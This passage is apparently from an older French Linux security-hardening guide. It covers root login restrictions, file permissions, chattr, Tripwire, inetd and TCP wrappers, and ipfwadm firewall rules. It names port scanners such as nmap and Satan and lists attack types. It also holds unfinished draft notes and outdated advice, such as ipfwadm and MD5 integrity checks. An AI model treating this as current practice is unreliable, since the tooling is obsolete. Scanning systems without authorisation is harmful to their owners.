    le fichier /etc/securetty contrôle depuis où le root s'est connecté. Par défaut sur la plupart des distributions Linux se fichier est mis en place de facon à ce que le compte ROOT ne puisse se connecter qu'en mode console (dev/tty, au moniteur directement rattaché au système ou les consoles virtuels). Si il essaye de se connecter depuis un support qui n'est lister dans /etc/securetty, il ne sera pas accepté. Si le fichier /etc/securetty est vide le compte ROOT ne pourra pas se connecter et devra obligatoirement passer par la commande su ou sudo

    Remarque : si le fichier /etc/securetty n'existe pas le compte ROOT pourra se connecter depuis n'importe où !

    le fichier /etc/securetty est définit dans le fichier /etc/login.defs

  • 5.3 Le compte utilisateur

    De base chaque compte utilisateur est créée avec plusieurs identifiants (UID, GID), ces acronymes correspondent au numéro d'utilisateur et au numéro de groupe utilisateur. Ils ont conservés dans le fichier /etcv/password en lecture pour tous le monde.

    l'attribution d'une plage minimun et maximum pour l'UID et le GID peut-être définit depuis le fichier login.defs

    5.4 gestion des comptes groupes

    chaque membre d'un groupe est identifié dans le fichier /etc/group, par le nom du group est son GID, à la suite se trouve la liste desutilisateurs faisant parties de ce groupe, pour ajouter un utilisateur à un groupe il suffit de la saisir à la suite du groupe désiré. Le GID à le même numéro que l'UID, cette procédure du système est appelé UPG (user private group), l'avantage de cette solution est que chaqueutilisateur a son propre groupe. les mots de passe pour le groupe sont conservés dans le fichier /etc/gshadow si vous utilisez la suite shadow,

    5.5 Permission sur les fichiers et les répertoires

    Etablir une protection efficace sur les fichiers et les répertoires et nécessaire à la sécurisation de votre système, afin de ne pas compromettre votre environnement. Beaucoup de vulnérabilité apparaissent par ce que vos fichiers ne sont pas correctement sécurisés. Par la commande ls -l vous afficher le type de fichier et ses permissions. Les permissions sur les fichiers apparaissent sous forme de triplet. Le premier triplet affiche les droits pour l'utilisateur, le deuxième triplet affiche les droits du groupe, et le dernier triplet affiche les autres utilisateurs.


    #ls -l
    drwxr-xr-x   9 root     root         4096 Apr 11 23:50 mimelnk
    drwxr-xr-x   4 root     root         4096 Apr 11 23:45 ogonkify
    -rw-r--r--   1 root     root         2181 Nov 18 16:50 panelrc
    -rw-r--r--   1 root     root        47910 Jul  6  1999 pci.ids
    -r-s--x--x   1 root     root        22312 Sep 25  1999 passwd
    

    • r=lecture
    • w=écriture
    • x=executable
    • s=set UID ou set GID, cet attribut peut être seulement trouvé en troisième position du triplet utilisateur ou de groupe; La permission x sur le fichier peut-être remplacée par la permission s qu'on peut affecter au propriétaire et/ou au groupe du fichier. Cette permission indique que le fichier est exécutable et que pendant son exécution on prend les droits du propriétaire et/ou du groupe du fichier exécutable. (ex : le programme passwd)
    • t= Le sticky bit, cette attribut apparait à la place du champs x de la section autres. Il ne s'applique qu'au fichier exécutable et au répertoire. Cet attribut indique que le segment texte d'un fichier exécutable n'est "swappé out" qu'une seule fois, et qu'il est conservé dans l'espace disque de swap une fois la commande terminée. Ce mécanisme réduit donc le nombre de "swap out" et permet un chargement en mémoire plus rapide lors d'une éxecution ultérieur de la commande.

    Définir le masque de création des fichiers

    La commande umask permet de positionner un masque définissant les permissions attribuées aux fichiers lors de leur création. Le masque est le complément à 1 des permissions désirées. Il est exprimé en notation octale.

    Le masque par défaut appliqué aux fichiers est mis en place généralement par le fichier /etc/profile, positionner à 022 ou 027

    Attribuer un umask de 027, signifie que tous les fichiers créés seront u=rwx,g=rx,o=, à tous les utilisateurs par exemple en plaçant une ligne :


    umask 027
    

    dans /etc/profile. Ceci vaut tout particulèrement pour root.

    La commande bash « umask -S » présentera ce masque de façon explicite.

    utiliser la commande chattr

    La commande chattr permet de changer les attributs d'un fichiers par rapport au système de fichier. Le format de base se composez de la commande chattr +-=[ASacdisu], la commande lsattr permet de lister les attributs du fichier et/ou répertoire.

    Nous utiliserons cette commande afin de rendre non modifiables ("immutables") les binaires setuid et certains fichiers importants /etc/passwd, /etc/gshadow, /etc/shadow, les bibliothèques partagées (fichier .so) ...

    exemple :


    chattr +i /etc/passwd
    

    rendre "immutables" le fichier /etc/passwd

    Explication : certaines attaques mettent en oeuvre un binaire privilégié installé sur le système qui, à cause d'erreurs de programmation, permet dans certaines conditions d'écraser un fichier existant, par exemple afin de le remplacer par un code dangereux. Cela offre parfois au pirate un moyen de remplacer le contenu d'un binaire setuid existant par ce que bon lui semble.

    chattr permet d'interdire cela en rendant un fichier non modifiable.

    Exemple :


    find / -type f -perm -4000 | xargs -r chattr -V +i
    

    La commande présentée analyse tout le disque. Si cela semble inutile remplacer le / par les répertoire abritant des binaires, par exemple /bin /sbin /usr/sbin /usr/local/bin /usr/local/sbin /usr/local/etc /usr/X11R6/bin. Protégrer aussi les autres binaires critiques, par exemple ceux du serveur de news (souvent dans /usr/lib/news/bin). Inconvénient : il faut à nouveau utiliser chattr avant d'installer une mise à jour des programmes.

    Grâce à chattr (attribut 'A') les fichiers journaux (logs) pourront bientôt être déclarés de sorte que "seuls des ajouts y soient possibles" ("append-only").

  • (EB) Surveiller les logs (fic hiers d'historique d'activité placés sous /var/log). Ne les laisser accessibles qu'à root. Si le systeme est sensible, imprimer les logs au fur et à mesure et les envoyer sur un autre hôte.
  • (EB) utiliser un système de fichiers en lecture seule (un cdrom par exemple) en tant que / Pour invoquer un binaire placé dans le répertoire courant : ./programme (noter les deux premiers caractères).
  • installer et utiliser correctement Tripwire. L'installer si possible juste après installation du système, et avant connexion à un réseau dangereux. Red Hat : rpm -y -a
  • 6. Tripwire

    6.1 Présentation

    Tripwire permet de vérifier l'intégrité d'un système Unix. Il permet de détecter la modification de fichiers et de répertoires, ceci en comparant l'état actuel avecun état précédent, qui aura été soigneusement sauvegardé ailleurs. Tripwire est un bon compléments aux autres outils de sécurité du domaine public tels que : COPS, TIGER, CRACK, COPS, S/KEY, ANLPASSWD, etc.

    6.2 Principe

    Ce produit travaille à l'aide d'un fichier de configuration qui va contenir des binômes de la forme:

    Nom de la ressource à surveiller Critères de surveillance

    Chaque ressource peut avoir son propre masque de critères de surveillance. On peut contrôler l'intégriter de:

    une arborescence complète de fichiers;

    une partie seulement de cette arborescence;

    un simple élément de cette arborescence.

    Les critères de surveillance sont :

    tous les champs de l'inode;

    le contenu du fichier lui-même par génération par sceau à l'aide d'algorithmes de chiffrement tels que MD4 ou MD5.

    On pourra calculer plusieurs signatures pour une même ressource si on estime qu'elle est très sensible. Mais attention, il faut bien voir que:

    plus une signature est courte moins elle est fiable;

    plus une signature est longue, plus elle est sure, mais elle consomme plus de CPU.

    Donc il faut bien faire attention au éléments suivants:

    le nombre de ressources sur lesquelles on calcul une ou des signatures;

    la puissance de votre machine;

    la taille des fichiers sur lesquels on va calculer cette signature.

    Toutes ces informations calculées ou recherchées par Tripwire seront mises dans un fichier qu'il appelle sa base de données. C'est en fait un fichier tete standard Uni avec des informations codées et d'autres en clair. Dans ce fichier, il y aura un enregistrement par ressource surveillée. C'est ce fichier qui servira de référence pour trouver les différences entre 2 passages de Tripwire.

    6.3 Fonctionnement

    Tripwire à 4 modes de fontionnement. Chacun de ces modes correspond à une fonction particulière :

    Initialisation mode : à utiliser au premier appel pour initialiser la base de données.

    Checking mode : mode de surveillance qui ne modifie pas la base données. Il donne simplement entre 2 passages les fichiers supprimés, ajoutés ou modifiés.

    Updating mode: met à jour la base de données selectivement sans la regénérer.

    Interactive mode: demande à l'administrateur de valider les différences et recrée une nouvelle base de données de référence.

    Dans ces 4 modes de fonctionnement, Tripwire travaille en 5 phases d'exécution :

    lecture du fichier de configuration qui contient les entrées à traiter pour en faire une analyse syntaxique;

    génération d'une liste des entrées à traiter;

    génération d'une base de données temporaire pour les entrées de la phase précédente;

    recherche des différence entre cette base de données et celle de référence créee à l'exécution précédente de Tripwire.

    génération d'un rapport d'anomalies pour toutes les différences trouvées entre les bases de données.

    6.4 Le fichier de configuration

    C'est le point stratégique du produit. C'est lui qui va contenir les entrées, fichiers ou répertoires à surveiller. Pour déterminer les critères de surveillance, on associera à chaque entrée un masque de traitement. C'est un masque qui va contenir les options que l'on aura choisi de surveiller. Donc on y trouvera les champs de l'inode à vérifier ainsi que le ou les types de signature à appliquer au fichier si on a choisi cette stratégie. On a également la possibilité de faire précéder le nom de l'entrée d'un attribut de traitement particulier. Ce préfixe va indiquer si on traite ou non ou partiellement cette entrée. Le nom du fichier de configuration est codé en dur dans l'exécutable Tripwire pour des raisons de sécurité. On paramétrera ce nom dans un fichier "config.h" qui sera utilisé à la compilation. Un certain nombre d'exemples de fichiers de configuration pour différents types de plateformes sont livrés avec le produit. Il faudra les adapter à son environnement

    6.5 La base de données

    C'est un fichier texte unix. Il va contenir un enregistrment par entrée traitée conformément au fichier de configuration. Comme pour le fichier de configuration son nom est codé en dur dans l'exécutable Tripwire pour la meme raison. Ce fichier contient toujours 21 champs par entrée. Les champs sont soit validés s'ils font partie du masque de critères à surveiller, soit à 0 s'ils sont ne sont pas dans le masque. La structure est la suivante:

    le nom de l'entrée;

    2 champs propres à Tripwire

    9 champs pour les différentes valeurs de l'inode que l'on veut surveiller;

    10 champs pour les différents types de signatures que l'on peut calculer et qui sont toutes proposées en standard dans Tripwire.

    Cette base données peut devenir rapidement assez importante en taille, si l'on veut surveiller beaucoup de fichiers et de répertoires avec beaucoup d'attributs et de signatures. D'ou l'importance de bien coder son fichier de configuration.

    6.6 Le rapport d'exécution

    Dans ses 4 modes de fonctionnement, Tripwire donne un rapport d'exécution. Dans ce rapport on trouvera :

    Le nom des fichiers qui ont été détruit depuis la dernière exécution de Tripwire;

    Le nom des fichiers créées depuis la dernière exécution de Tripwire.

    Le nom des fichiers pour lesquels il y a eu une ou des modifications (modifications de l'inode ou le contenu du fichier). Dans le cas de modification, le rapport donne :

    la valeur actuelle du ou des champs modifiés;

    la valeur qui se trouve dans la base de données de référence de la dernière exécuion de Tripwire.

    Ce rapport d'exécution est très important et c'est lui qu'il faudra analyser à chaque exécution de Tripwire.

    6.7 Conclusion

    Il faut exécuter ce produit régulièrement en "checking mode", dans un cron par exemple. Puis quand le nombre de modifications le justifie faire une exécution en "interactive mode" pour refaire une base de données à jour qui reflète aussi bien que possible l'état du sytème.

    Pour que ce produit soit efficace, il faudrait que le premier passage d'exécution de Tripwire se fasse sur un système qui vient d'être généré, et non encore connecté au réseau. Ceci pour minimiser au maximum les chances d'avoir un système qui n'a pas déjà été altéré.

    Tripwire n'a pas besoin de privilège particulier. Il facile à mettre en oeuvre, ne demande pas trop de ressources, et donne des indications préciseuses sur les modifications apportées au système. Il est facilement adaptable à son environnement et modifiable grâce à son fichier de configuration. Tripwire tourne sur un grand nombre de plate-formes. Dans sa distribution, il y a un fichier "PORTED" qui indique les spécificités de chaque machine avec les modifications à faire dans le makefile pour installer ce produit sans problème.

  • installer la dernière version officielle (attention aux « contribs ») stable de toute application stratégique (en particulier les outils système/réseau, ainsi que INN et sendmail)
  • rechercher, par exemple grâce à FTPSearch, la plus récente version de l'utilitaire nommé « chkexploit ». L'utiliser.
  • 7. IP

    7.1 Aperçu

    Un protocole réseau permet aux ordinateurs d'échanger des données dans une sorte de 'langue' commune, indépendante du système d'exploitation sous-jacent. Cette langue concerne surtout l'acheminement des données, et non leur signification. IP (l'Internet Protocol) est donc en quelque sorte l'un des 'services postaux' utilisables (d'autres protocoles existent, mais IP est le plus répandu car tout l'Internet repose sur lui). Il permet à une machine d'expédier des données, mais il appartiendra aux programmes de les interpréter.

    La « pile » IP est un groupe de protocoles interdépendants car chacun d'eux s'appuie sur un ou plusieurs autres, c'est pourquoi on emploie le mot « pile » pour désigner une implantation.

    IP crée des tuyaux virtuels entre toutes les interfaces interconnectés. Par 'interface' on entend 'organe grâce auquel une machine se trouve connectée à un réseau', par exemple une carte Ethernet ou un lien PPP reposant sur un modem. Chaque machine peut disposer d'un nombre quelconque d'interfaces. Chaque interface peut correspondre à plusieurs numéros IP.

    Chaque interface raccorde l'hôte à au moins un type de support. Il s'agit le plus souvent d'un câble coaxial ou d'une paire torsadée (pour l'Ethernet) mais aussi, de plus en plus souvent, de divers autres types de couches physiques : modem, fibre optique, antenne, émetteur/récepteur infrarouge, laser, réseau électrique ...

    Grâce à TCP/IP les développeurs réalisent des programmes exploitant le réseau sans se soucier des caractéristiques de la couche physique car le protocole ajoute des niveaux d'abstraction salvateurs.

    TCP/IP propose aux programmes deux modes (principaux) d'acheminement des données : UDP et TCP. Le premier se contente d'acheminer les paquets de données, sans vérifier leur séquencement (ordre d'arrivée correspondant à l'ordre d'émission) ou bonne réception. TCP, lui, est plus sûr, car il garantit le séquencement et la bonne réception, mais aussi plus lourd.

    Pour expédier des données via TCP/IP un logiciel utilise des fonctions du système relativement simples auxquelles il précise l'identité de la machine destinatrice (son nom ou numéro IP, cela revient au même), le type de protocole souhaité (TCP ou UDP, le plus souvent) et un numéro de « port » sur lequel la connexion sera établie.

    Le système accorde alors au programme une sorte de jeton associé à la connexion ainsi établie. Le programme peut l'utiliser pour y écrire ou lire, presque comme dans un fichier. Unix s'occupe de tout. Ceux qui maîtrisent le langage C pourront lire à ce propos Les sockets - Initiation

    Le port s'apparente aux numéros de postes des téléphones affectés aux divers services d'une entreprise, où chacun détermine à qui faire appel en fonction du service attendu.

    Un 'service', sous Unix, est un ensemble de fonctions offertes par une machine. Cela peut concerner l'échange de fichiers, le courrier électronique, la mise à l'heure des machines ...

    De nombreux services sont offerts « sur » (lire 'via') TCP/IP. Tout programme installé sur une machine du réseau peut donc en bénéficier en contactant le serveur, via le réseau. C'est très exactement ainsi que fonctionne le Web, par exemple : des paquets IP circulent entre le serveur Web et le 'browser' (client).

    Même un programme client installé sur le serveur procédera exactement comme s'il se trouvait à distance. Il interagira avec un serveur nommé "localhost", "127.0.0.1" ou bien "le-nom-de-la-machine-locale" (qui désignent tous la machine locale), et les paquets emprunteront donc une interface 'loopback', spécialement chargée de convoyer les paquets entre deux programmes installés sur la même machine. Cela semble étrange mais est en fait élégant car n'oblige pas les programmes clients et serveurs à fonctionner différemment selon que le serveur est ou non local.

    Chaque port TCP ou UDP d'une machine donnée peut correspondre à un service, par exemple FTP ou telnet, offert sur le serveur par un logiciel adéquat. Chaque service porte un nom, et la liste des affectations de ports aux divers noms de services se trouve dans le fichier /etc/services. Une RFC (un document figeant des conventions) dresse liste des affectations recommandées. Le service telnet, par exemple, emploie par défaut le port TCP numéro 23. Rien n'oblige un administrateur de machine à respecter ces conventions.

    Tout cela reste en fait un peu plus compliqué et plus souple, mais un plus détaillé serait inutile ici.

    Il existe deux façons d'ajouter un service à une machine donnée.

    La première consiste à lancer le logiciel chargé de l'assurer, en lui permettant de 'se lier' (fonction bind()) au port puis d'y 'écouter' (fonction listen) les demandes des clients. Divers documents traitent de tout cela. Le logiciel serveur ainsi lancé en mode « démon » fonctionnera tout le temps, ce qui peut inquiéter (consommation de mémoire vive et de puissance processeur) mais Unix est bien conçu : les tâches inactives descendent dans la mémoire virtuelle (et n'occupent donc pas indûment de la mémoire vive) et ne s'arrogent pas de puissance processeur car le noyau ne les « réveille » qu'en cas de détection d'activité sur le port concerné (donc lorsqu'un client demande quelque chose). Sur la plupart des serveurs ces démons sont lancés, lors du démarrage de la machine, par le programme init via les scripts placés sous etc/rc*.

    L'autre approche met en scène inetd, le « superserveur ». Ce démon écoute tous les ports et, en cas d'activité, lance le programme serveur adéquat, qui servira la (ou les) requête(s) puis s'interrompra. Grâce à inetd il n'est donc pas nécessaire de laisser simultanément actifs tous les programmes serveurs. Le fichier /etc/inetd.conf abrite ses paramètres.

    7.2 Inetd

    Unix met à disposition des utilisateurs plusieurs services réseaux, tels que ftp, telnet, finger, etc... Inetd est un serveur, livré en standard, qui regroupe et gère le lancement de la plupart de ces services réseaux. En effet il est chargé d'attendre les demandes de connexion et de fournir le service demandé. La plupart des services ainsi lancés, et commande leur arrêt lorsque leur tâche est remplie. Ce service permet de minimiser le nombre de processus présent dans le systèmes.

    Configuration de Inetd

    Le fichier /etc/inetd.conf permet de configurer inetd. Il comporte la liste des ports réseau qui doivent être surveillés par le processus, et quels processus doivent être lancés en réponse à une requêtes présentée sur l'un de ces ports.


    #echo   stream  tcp     nowait  root    internal
    #echo   dgram   udp     wait    root    internal
    #discard        stream  tcp     nowait  root    internal
    #discard        dgram   udp     wait    root    internal
    #daytime        stream  tcp     nowait  root    internal
    #daytime        dgram   udp     wait    root    internal
    #chargen        stream  tcp     nowait  root    internal
    #chargen        dgram   udp     wait    root    internal
    #time   stream  tcp     nowait  root    internal
    #time   dgram   udp     wait    root    internal
    #
    # These are standard services.
    #
    ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  in.ftpd -l -a
    #telnet stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd
    

    • La première colonne contient le nom du service qui doit être surveillé. La correspondance entre le nom du service et le numéro du port est établie par le fichier /etc/service
    • Le type de socket dont le service qui doit être démarré a besoin est indiqué dans la deuxième colonne. Les valeurs possibles sont stream, dgram ou raw. En règle générale c'est le type stream qui est utilisé pour les cnnexions TCP (orientées connexion), alors que c'est le type dgram qui sert pour les connexions UDP. Le type raw n'est jamais utilisé.
    • La troisième colonne indique le protocole utilisé. La correspondance entre le nom du protocole et son numéro est établie dans le fichier /etc/protocols. Celui-ci contient à côté de chaque protocole son numéro et éventuellement son alias. Un service peut être actif de manière sélective, il existe deux fichiers pour la gestion des droits sur les service (hosts.allow et hosts.deny), voir ssection Inetd pour plus d'informations.

    7.3 TCP wrapper - tcpd

    En complément du serveur inetd, il existe un logiciel qui offre la possibilité de contrôler quels ordinateurs peuvent utiliser quels services réseaU. En outre il existe la possibilité d'assurer une journalisation par le biais de syslog.

    Chaque service TCP est lancé par un super serveur nommé inetd, chaque service exécuté par inetd pour est remplacé par le wrapper tcpd, qui va permettre de vérifier les droits de l'utilisateur à exécuté tel ou tel service, ce serveur se nomme tcpd. Le serveur tcpd s'installe de manière logique entre inetd et ses sous serveurs. Les processus réseau ne sont donc plus lancés par inetd, mais celui-ci démarre d'abord tcpd qui lance à son tour le processus désiré.

    Configuration

    Il suffit de réaliser des opérations suivantes pour configurer tcpd:

    1. Modifier le fichier /etc/inetd.conf
    2. Envoyer un signal hangup
    3. Créer le fichier /etc/hosts.allow
    4. Créer le fichier /etc/hosts.deny

    Modifier le fichier /etc/inetd.conf


    ftp     stream  tcp     nowait  root    /usr/sbin/ftpd  in.ftpd -l -a
    telnet stream  tcp     nowait  root    /usr/sbin/telnetd  in.telnetd
    

    Le ficher /etc/inetd.conf avant modification


    ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  in.ftpd -l -a
    telnet stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd
    

    Le fichier /etc/inetd.conf après modification

    Il suffit de forcer la relecture du fichier de configuration /etc/inetd.conf par le serveur inetd en lui envoyant un signal hangup (kill -HUP inetd.

    Le contrôle d'accès

    Le serveur tcpd vérifie les droits d'accès aux services réseau en analysant le contenu des fichiers /etc/hosts.allow et /etc/hosts.deny. Les règles suivantes doivent être respectées pour ce contrôle:

    • L'accès est autorisé si une entrée du fichier /etc/hosts.allow accorde au(x) client(s) un droit d'accès à un service réseau. Si le client est trouvé dans ce premier fichier, le fichier /etc/hosts.deny n'est pas analysé.
    • L'accès est refusé si une entrée du fichier /etc/hosts.deny refuse l'accès au(x) client(s) l'accès à un service réseau.
    • Si le client n'est pas trouvé dans aucun fichier, laccès est autoriser.
    • Si les fichiers /etc/hosts.allow et /etc/hosts.deny n'existe pas, l'accès est autorisé. La situation est traitée de la même manière que si les fichiers étaient vides.
    Il est possible de travailler avec différents modèles de recherche pour formuler les règles d'accès dans les deux fichiers de configuration de tcpd, il existe différents modèles :
    • ALL : Ce modèle universel est toujours verifié.
    • LOCAL : Tous les noms d'ordinateurs qui ne contient pas de point.
    • UNKNOWN : Ce modèle de recherche désigne les noms d'ordinateurs et tous les utilisateurs inconnus. Il ne faut pas utiliser ces paramètres qu'avec les plus extrèmes précautions, car une panne de serveur de noms renvoie tous les noms d'ordinateurs comme s'ils étaient inconnus.
    • PARANOID : Ce modèle de recherche désigne tous les ordinateurs dont le nom et l'adresse IP ne correspondent pas.

    Outre le refus d'accès à certains ordinateurs ou groupe d'ordinateurs à certains services réseau, il est également possible de lancer l'eécution d'une commande shell par tcpd, lors de l'accès d'un ordinateur. Cette possibilité est très intéressante pour l'enregistrment des accès réseau (journalisation). A la suite les différentes variables que tcpd peut utiliser pour rendre le fichier journal plus explicite:

    • %a(%A): Adresse IP du client ou du serveur
    • %c : Informations du client sous l'une des formes : utilisateur@ordinateur, utilisateur@adresse, nom d'ordinateur, adresse ordinateur, la forme utilisée dépend des informations disponibles.
    • %d : Le nom du processus serveur.
    • %h(%H): Nom du client ou du serveur, dans la mesure ou il est disponible, sinon c'est l'adresse qui est indiquée, comme pour %a.
    • %p : Identification du processus serveur.
    • %s : Informations du serveur, sous l'une des formes : serveur@ordinateur ou nom de serveur, selon les informations disponibles.
    • %u : Nom de l'utilisateur sur le client.
    • %% : le caractère % lui-même.

    Pour permettre l'exécution de commandes, tcpd à besoin d'informations sur la manière de réaliser l'opération. Les deux modes de démarrage sont :

    • spawn : l'exécution de la commande est réalisé après substitution dans un processus enfant créé par tcpd, par un subshell. Les canaux d'entrée, de sortie et d'erreur par défaut sont reliés dev/null, de telle sorte qu'il n'est pas possible de réaliser de transfert de données avec le processus demandeur (processus client).
    • twist : Le processus est en cours est remplacé par une instance de la commande shell, après substitution des variables. Les canaux d'entrée, de sortie et d'erreur sont connectés au processus client. Cette option doit se trouver à la fin de la ligne. Remarque : Vous trouverez des informations complémentaires dans les pages du manuel /etc/hosts.allow et /etc/hosts.deny
    Passons aux travaux pratiques. Nous allons utiliser un programme capable de rendre compte des paquets IP échangés. Le plus connu, livré avec la plupart des systèmes Unix, se nomme tcpdump. Nous ne pourrons l'utiliser, dans un premier temps, car il ne semble pas capable de pister les paquets échangés entre des processus locaux (sur une même machine).
    nommachine ~ telnet localhost
    Trying 127.0.0.1...
    Connected to nommachine
    Escape character is '^]'.
    Connection closed by foreign host.
    
    nommachine ~ telnet localhost
    Trying 127.0.0.1...
    telnet: Unable to connect to remote host: Connection refused
    
    montrer comment utiliser des outils de trace : tcpdump et un trafshow (pb avec la v2 de trafshow et PPP ) ou sniffitou iptraf(chouette, mais bien lire la doc) telnet localhostConnexion PPP : invoquer ifconfigdurant la session, qui produit entre autres ceci :
    ppp0      Link encap:Point-Point Protocol
              inet addr:votreIP
    
    tcp  votreIP 325 209.239.33.1 16482 40 44
    tcp  votreIP 323 209.239.33.1 16474 40 44
    tcp  votreIP 321 209.239.33.1 16460 40 44
    tcp  votreIP 322 209.239.33.1 16461 40 44
    
    pb de nombreux softs serveurs :
    • fonctionnent dans un contexte privilégié (trop souvent root)
    • ne sont pas exempts de bugs. les pirates les découvrent et les exploitent, souvent afin de pouvoir disposer du compte root
    Types de désagréments potentiels :
    • "exploit" (programme destiné à exploiter une faille du logiciel), par exemple afin de passer root ou bien de crasher le noyau).
    • "denial of service" : l'attaquant tente de rendre certains services inutilisables.
    • "backdoor". Dans un programme client ou serveur.
    • "bugs"
    (EB et Nat) toujours utiliser des binaires (noyaux, outils système ...) à jour et de provenance sûre. S'abonner aux forums et listes (bugtraq, comp.security.announce, www.freshmeat.net) afin de rester informé. éditer les runlevels de façon à supprimer TOUS les démons dangereux non employés. En particulier sendmail, INN, NFS, serveur de noms ... (Red Hat : control-panelpuis run-level editor) (EB et Nat) Examiner, à partir d'une machine distante connectée au même réseau (cela fonctionne aussi sur l'Internet, y compris en dialup), les ports ouverts. Les outils "strobe" (sous debian, package 'netdiag') et nmap(excellente doc) permettent cela. Interdire l'accès aux ports inutilement exposés. Vérification : se loger ailleurs et strober (ou demander à un pote sur une autre machine accessible, par exemple via l'Internet, de le faire) durant les connexions : surveiller avec tcpdump ou l'outil de trace adopté Mais certains programmes doivent parfois demeurer actifs sur le système (par exemple sendmail, le serveur NFS, le démon d'impression lpd). Il faut donc trouver un moyen de ne pas laisser n'importe qui se connecter et converser avec ces programmes, donc de ne pas laisser entrer sur le système des paquets destinés à un certain port TCP ou paquets de provenance douteuse (via une interface donnée ou bien en général). Il faut donc pouvoir bloquer les agresseurs. rôle du code firewalling du noyau (examine les paquets IP, applique des règles). rôle d'ipfwadm (maipulation des règles de firewalling) Voici noip, un script à invoquer avec, en guise d'argument, le numéro IP d'un agresseur :
    #!/bin/sh
    ipfwadm -I -a reject -o -S "$1"/0 -D 0.0.0.0/0 -P all
    
    (employer 'deny' à la place de 'reject' pour loger) ipfwadm -I -l -n ipfwadm -I -f "flush" il faut préciser la destination pour bloquer un port sur activité entrante ! bien lire ce que donne "ipfwadm -I -l -n" pas plus de 10 slots (1 slot : 1 port ou 1 intervalle) par instruction ipfwadm (compi par dft)

    7.4 Firewalling

    Le programme 'ipfwadm' permet de configurer le mode de traitement des paquets IP assuré par le noyau.

    ipfwadm : toujours compiler un noyau avec CONFIG_IP_ALWAYS_DEFRAG, et SYN COOKIES et "IP: drop source routed frames"

    natix root ~ /sbin/ipfwadm -I -i deny -o -P tcp -S exemple.fr 80
    natix root ~ /sbin/ipfwadm -I -l -n
    IP firewall input rules, default policy: accept
    type  prot source               destination          ports
    deny  tcp  123.123.123.123      0.0.0.0/0        80 -> *
    natix root ~ /sbin/ipfwadm -I -f
    natix root ~ /sbin/ipfwadm -I -i deny -o -P tcp -S toto.fr -D natix 80
    natix root ~ /sbin/ipfwadm -I -l -n
    IP firewall input rules, default policy: accept
    type  prot source               destination          ports
    deny  tcp  192.168.1.6          192.168.1.4          * -> 80
    

    on peut procéder par "ouverture" (tt est par dft interdit : on ferme tout, on dresse liste des besoins et on n'ouvre que les portes nécessaires) ou "fermeture" de portes

    Première approche : paquets par défaut refusés

    Deuxième approche : paquets par défaut acceptés

    Machines sûres

    attention : tt cela ne tient que si les machines 'autorisées' sont elles-mêmes sûres. s'en assurer : ne pas considérer que celles de l'isp le sont par défaut, par exemple. mieux vaut laisser tourner un tcpdump sans filtrage

    Autres dispositions utiles

    protéger par ipfw les hôtes d'un réseau local (par rapport au firewall principal)

    Autres sources d'informations

    • lire attentivement le NET-3-HOWTO
    • lire la section du NFS HOWTO consacrée à la sécurité
    • apprendre à employer PAM (outil dispo sur Red Hat et Debian)
    • installer et apprendre à employer les TCP wrappers. Lire toutes les pages de man livrées (tcpd, tcpdchk, tcpdmatch)
    • Étudier le moderne et performant Nessus. La version de démonstration de Ballista permettrait de tester la sécurité de localhost (?). Ne pas négliger les classiques Satan, ISS, COPS, CRACK. Igor Genibel indique comment employer Satan : Le télécharger Lire le fichier satan-netscape.README qui va te permettre de faire fonctionner ton browser avec Satan.
    • placer ALL: ALL,PARANOID dans /etc/hosts.deny et ALL: dans /etc/hosts.allow (si le système n'est pas isolé, ajouter les systèmes autorisés)

    7.5 Outils

    ipfwadm

    Ne fonctionne qu'avec un noyau intégrant le code firewalling. Compiler un noyau refusant les fragments IP car le le firewalling ne les traite pas.

    Nous utiliserons surtout l'option -I (input), qui permet d'établir des règles de traitement des paquets entrants.

    • (EB) Pour rendre inopérantes certaines attaques classiques ('land', 'teardrop', 'nestea' ...) utiliser un noyau compilé avec IP Firewalling ainsi que la configuration ipfwad suivante (règles extraites des scripts de boot debian 2.0). Noyau 2.0 :
      # refuser les paquets entrants prétendus issus de notre propre système
      ipfwadm -I -d deny -o -P all -S 127.0.0.0/0 -W eth0 -D 0/0
      ipfwadm -I -i deny -o -P all -S 127.0.0.0/0 -W eth0 -D 0/0
      my_ip=le numéro IP de la machine locale (hostname -i)
      ipfwadm -I -d deny -o -P all -S $my_ip -W eth0 -D 0/0
      ipfwadm -I -a deny -o -P all -S $my_ip -W eth0 -D 0/0
      
      Noyau 2.1 :
      #my_ip=le numéro IP de la machine locale (hostname -i)
      ipchains -D input -j DENY -p all -l -s 127.0.0.0/0 -i eth0 -d 0.0.0.0/0
      ipchains -I input -j DENY -p all -l -s 127.0.0.0/0 -i eth0 -d 0.0.0.0/0
      ipchains -D input -j DENY -p all -l -s $my_ip -i eth0 -d 0.0.0.0/0
      ipchains -I input -j DENY -p all -l -s $my_ip -i eth0 -d 0.0.0.0/0
      
      Si ipfwadm produit un message ipfwadm: setsockopt failed: Protocol not available le noyau ne contient pas le code de 'firewalling', il faut recompiler.
    • PPP (question : comment antispoofer ainsi une liaison dialup à adresse dynamiquement attribuée ? par "ipfwadm -F -a deny -o -S adresse-ip-dynamique/netmask -D 127.0/0" ?)
      #interdire paquets prétendus issus de notre propre système
      ipfwadm -F -i deny -o -P all -S 127.0.0.0/0 -W ppp0 -D 0/0
      #DEVNAT dialup : faut-il faire de mm avec le numéro IP dyna ?
      
      #accepter input vers DNS du serveur de noms
      ipfwadm -I -W ppp0 -a accept -o -P tcp -S IP-DNS-primaire 53
      ipfwadm -I -W ppp0 -a accept -o -P tcp -S IP-DNS-secondaire 53
      ipfwadm -I -W ppp0 -a accept -o -P udp -S IP-DNS-primaire 53
      ipfwadm -I -W ppp0 -a accept -o -P udp -S IP-DNS-secondaire 53
      
      #interdire accès aux serveurs de noms, de news, et X (6000)
      #au serveur Web ou mandataire (8080, 8081), mail (25)
      ipfwadm -I -a reject -o -P tcp -W ppp0 -S 0/0 -D 0/0 25 53 80 113 119 6000 8080 8081
      ipfwadm -I -a reject -o -P udp -W ppp0 -S 0/0 -D 0/0 25 53 80 113 119 6000
      8080 8081
      #et autres services ...
      ipfwadm -I -a reject -o -P udp -W ppp0 -S 0/0 -D 0/0 13 19 39
      ipfwadm -I -a reject -o -P tcp -W ppp0 -S 0/0 -D 0/0 13 19 39
      #attention ! de nombreux ports potentiellement dangereux demeurent ainsi
      #ouverts. vérifier la config, par exemple grâce à un scanner (strobe ...)
      
      Attention : ne pas « scanner » une autre machine que la vôtre sans
      autorisation préalable de son administrateur. Des programmes peuvent
